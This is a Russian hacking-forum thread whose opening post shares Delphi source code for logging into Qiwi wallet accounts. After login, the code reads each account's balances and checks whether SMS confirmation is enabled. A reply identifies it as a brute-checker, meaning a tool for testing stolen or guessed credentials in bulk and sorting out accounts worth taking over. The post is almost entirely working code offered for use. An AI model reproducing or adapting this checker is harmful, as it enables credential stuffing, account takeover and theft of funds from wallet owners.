Авторизация Qiwi

Тема в разделе "Исходники (Source)", создана пользователем lomanu4, 27 мар 2017.

  1. lomanu4

    lomanu4 Новорег

    Регистрация:
    27 мар 2017
    Сообщения:
    1
    Симпатии:
    0
    Розыгрышей:
    0
    Пол:
    Мужской
    Расписывать не буду думаю и так все ясно
    Код:
     HTTP.UserAgent := 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:39.0) Gecko/20100101 Firefox/39.0';
              Data.Clear;
              HTTP.MimeType:='application/json';
              Data.WriteString('{"login":"'+login+'","password":"'+pass+'"}');
              HTTP.Document.LoadFromStream(Data);
              HTTP.Headers.Insert(0,'Accept: application/vnd.qiwi.sso-v1+json');
              HTTP.Headers.Insert(0,'Accept-Language: ru;q=0.8,en-US;q=0.6,en;q=0.4');
              HTTP.Headers.Insert(0,'Referer: https://visa.qiwi.com/main.action');
              if HTTP.HTTPMethod('POST','https://auth.qiwi.com/cas/tgts') then
              begin
                Scr.LoadFromStream(HTTP.Document);
                if Pos('","error":',Scr.Text) = 0 then
                begin
                  Token := Pars('"ticket":"',Scr.Text,'"');
                  HTTP.Headers.Clear;
                  HTTP.Document.Clear;
                  HTTP.Headers.Insert(0,'Accept: application/vnd.qiwi.sso-v1+json');
                  HTTP.Headers.Insert(0,'Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3');
                  Data.Clear;
                  HTTP.MimeType:='application/json';
                  Data.WriteString('{"ticket":"'+Token+'","service":"https://visa.qiwi.com/j_spring_cas_security_check"}');
                  HTTP.Document.LoadFromStream(Data);
                  if HTTP.HTTPMethod('POST','https://auth.qiwi.com/cas/sts') then
                  begin
                    HTTP.Headers.Clear;
                    HTTP.Document.Clear;
                    HTTP.Headers.Insert(0,'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8');
                    HTTP.Headers.Insert(0,'Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3');
                    HTTP.Headers.Insert(0,'Access-Control-Request-Method: POST');
                    HTTP.Headers.Insert(0,'Access-Control-Request-Headers: content-type');
                    if HTTP.HTTPMethod('OPTIONS','https://auth.qiwi.com/cas/sts') then
                    begin
                      HTTP.Headers.Clear;
                      HTTP.Document.Clear;
                      HTTP.Headers.Insert(0,'Accept: application/vnd.qiwi.sso-v1+json');
                      HTTP.Headers.Insert(0,'Accept-Language: ru;q=0.8,en-US;q=0.6,en;q=0.4');
                      HTTP.Headers.Insert(0,'Referer: https://visa.qiwi.com/main.action');
                      Data.Clear;
                      HTTP.MimeType:='application/json';
                      Data.WriteString('{"service":"https://visa.qiwi.com/j_spring_cas_security_check","ticket":"'+Token+'"}');
                      HTTP.Document.LoadFromStream(Data);
                      if HTTP.HTTPMethod('POST','https://auth.qiwi.com/cas/sts') then
                      begin
                        Scr.LoadFromStream(HTTP.Document);
                        Token := Pars('"ticket":"',Scr.Text,'"');
                        HTTP.Headers.Clear;
                        HTTP.Document.Clear;
                        HTTP.Headers.Insert(0,'Accept: application/json, text/javascript, */*; q=0.01');
                        HTTP.Headers.Insert(0,'Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3');
                        HTTP.Headers.Insert(0,'X-Requested-With: XMLHttpRequest');
                        HTTP.Headers.Insert(0,'Referer: https://visa.qiwi.com/main.action');
                        if HTTP.HTTPMethod('GET','https://visa.qiwi.com/j_spring_cas_security_check?ticket='+Token) then
                        begin
                          HTTP.Headers.Clear;
                          HTTP.Document.Clear;
                          if HTTP.HTTPMethod('GET','https://visa.qiwi.com/main.action') then
                          begin
                            HTTP.Headers.Clear;
                            HTTP.Document.Clear;
                            HTTP.Headers.Insert(0,'Accept: application/json, text/javascript, */*; q=0.01');
                            HTTP.Headers.Insert(0,'Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3');
                            HTTP.Headers.Insert(0,'Referer: https://visa.qiwi.com/main.action');
                            if HTTP.HTTPMethod('POST','https://visa.qiwi.com/person/state.action') then
                            begin
                              Scr.LoadFromStream(HTTP.Document);
                              if Pos('"balances":null',Scr.Text) = 0 then
                              begin
                                Check1 := Pars('"balances":',Scr.Text,',"handled');
                                Check1 := StringReplace(Check1,',"','}{',[rfReplaceAll]);
                                Check1 := StringReplace(Check1,'":',' - ',[rfReplaceAll]);
                                HTTP.Headers.Clear;
                                HTTP.Document.Clear;
                                if HTTP.HTTPMethod('GET','https://visa.qiwi.com/settings/options/security.action') then
                                begin
                                  Scr.LoadFromStream(HTTP.Document);
                                  Check2:=Pars('<div class="security-settings-item type_SMS_CONFIRMATION"',scr.Text,'<div class="pseudo-checkbox-active"');
                                  if Pos('<div class="toggle"  data-container-name="option-enabled">',Check2)<>0 then Check3:='Есть';
                                  if Pos('<div class="toggle" style="display:none;" data-container-name="option-enabled">',Check2)<>0 then Check3:='Нету';
                                  if Pos('<div class="toggle" style="display:none;" data-container-name="option-disabled">',Check2)<>0 then
                                  begin
                                    Check2 := ' Привязка - '+Check3;
                                  end
                                  else
                                  begin
                                    Check2 := ' Привязка - '+Check3;
                                  end;
                                  CheckTemp := Check1 + ' || ' + Check2;
                                  Rez := 1;
                                end
                                else
                                begin
                                  Rez := 0;
                                end;
                              end
                              else
                              begin
                                Rez := 2;
                              end;
                            end
                            else
                            begin
                              Rez := 0;
                            end;
                          end
                          else
                          begin
                            Rez := 0;
                          end;
                        end
                        else
                        begin
                          Rez := 0;
                        end;
                      end
                      else
                      begin
                        Rez := 0;
                      end;
                    end
                    else
                    begin
                      Rez := 0;
                    end;
                  end
                  else
                  begin
                    Rez := 0;
                  end;
                end
                else
                begin
                  Rez := 2;
                end;
              end
              else
              begin
                Rez := 0;
              end;
     
  2. Rimus

    Rimus Новорег

    Регистрация:
    23 мар 2017
    Сообщения:
    3
    Симпатии:
    0
    Розыгрышей:
    0
    Пол:
    Мужской
    шо это?
     
  3. TEIROP

    TEIROP Местный

    Регистрация:
    19 фев 2017
    Сообщения:
    653
    Симпатии:
    189
    Розыгрышей:
    0
    Пол:
    Мужской
    Это исходниу брут-чекера на делфи
     
  4. 7.UP

    7.UP Новорег

    Регистрация:
    1 июл 2015
    Сообщения:
    14
    Симпатии:
    3
    Розыгрышей:
    0
    Пол:
    Мужской
    исходник авторизаций а не брут чекера
     

Поделиться этой страницей

Яндекс.Метрика